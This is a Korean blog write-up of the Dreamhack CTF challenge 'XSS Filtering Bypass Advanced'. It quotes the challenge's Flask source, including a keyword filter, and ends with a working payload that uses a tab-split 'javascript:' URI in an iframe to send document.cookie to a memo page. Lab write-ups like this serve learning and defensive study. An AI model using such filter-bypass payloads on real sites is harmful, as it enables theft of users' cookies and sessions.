Dreamhack

[Dreamhack] XSS Filtering Bypass Advanced 풀이

minnggyuu 2024. 3. 24. 20:20

XSS Filtering Bypass Advanced

 

이번엔 XSS Filtering Bypass가 Advanced 돼서 돌아왔다..!

 

무려(?) 3단계다..

 

뭐가 달라졌는지 알아보자

 

메인 페이지

저번 문제와 같이 3개의 페이지가 있다. 

/vuln(xss) page

 

/vuln 페이지이다. <img src> 스크립트 사용이 가능하다는 것을 보여준다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

 

/vuln 소스코드다. param의 파라미터 값을 받아서 xss_filter에 넘겨준다.

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

 

xss_filter 함수이다. 

 

여러 가지 스크립트에 활용할 수 있는 문자열들을 필터링하고 있다. 

전 문제와 달리 필터링 할 문자들을 없애는 방식이 아니라 "filtered"를 띄워버린다.

scrscriptipt 같은 방식은 통하지 않을 것으로 보인다. 

 

/memo

 

memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

 

/memo 페이지이다. get으로 memo 파라미터 값을 출력해준다.

 

/flag

 

/flag 페이지이다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

소스코드를 해석해보면

GET 요청이 왔을 때는 flag.html을 띄워주고, POST 요청이 왔을 때는 param 값을 가져와서 param이라는 변수에 저장하고,

name이 flag이고, value가 FLAG.strip()인 값을 check_xss 함수에 전달한다. 

아마 flag의 value가 이 문제의 FLAG로 추측된다.

 

참고로 strip() 함수는 양 사이드의 공백을 제거한다.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

 

check_xss 함수이다. /flag 에서 받은 param과 FLAG.strip()을 각각 param, cookie에 저장한다. 

전달받은 param 값으로 /vuln 페이지에 param이라는 파라미터 값에 urllib.parse.quote() 함수를 사용해 param 값을 url 인코딩 한 뒤

get 요청을 보내는 url을 만들어 url 이라는 이름의 변수에 저장한 후, read_url 함수에 생성한 url과 cookie값을 전달한다. 

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

 

read_url 함수이다.

url과 cookie를 전달받고, driver.add_cookie 함수로 cookie 값으로 쿠키를 추가한다.

 

암튼 우리가 해야 할 것은 xss_filter 함수를 우회해서 /memo 페이지에 document.cookie 값을 전달해야 한다!

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

 

너무나도 많은 키워드들이 필터링되고 있다..

 

<script>location.href="/memo"+document.cookie</script> 를 어떤 방식으로든 실행시키면 된다.

<script> 사이에 %09(tab)을 넣어보았다.

 

<script> 사이에 %09(tab)을 넣어보았다. 안된다.

javasc%09ript 실행결과

 

중간에 탭을 끼워넣어보았다. 필터링되지는 않는데 이게 실행이 가능한지는 모르겠다. 

 

on 사이에 끼워봄

 

on 사이에 탭을 끼워봤다. 실행은 안된다. onerror= 뒷 부분부터 탭을 넣어도 되는건가?

 

확인을 해보려면 javascript 앞에 필터링이 되지 않는 키워드를 사용해야 한다. 

<script>는 안되고.. <img src onerror>도 on 때문에 안된다. 

 

사용할 수 있는 건 iframe이 있다. 

<iframe src = "javasc%09ript:alert`1`"> 을 해봐야겠다.

 

iframe 태그를 사용해보았다

오? ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ됐다

 

메모에다가 document.cookie를 보내면 되니까

<iframe src = "javasc%09ript:locatio%09n.href='/memo?memo'+docu%09ment.cookie"> 를 하면 될 것 같다

 

post라서 %09 대신 탭을 넣어서 submit 했다.

x

왜 안되냐..

 

<iframe src = "javasc ript:locatio n.href='/memo?memo='+docu ment.cookie">

= 를 빼먹었다..

 

FLAG ! !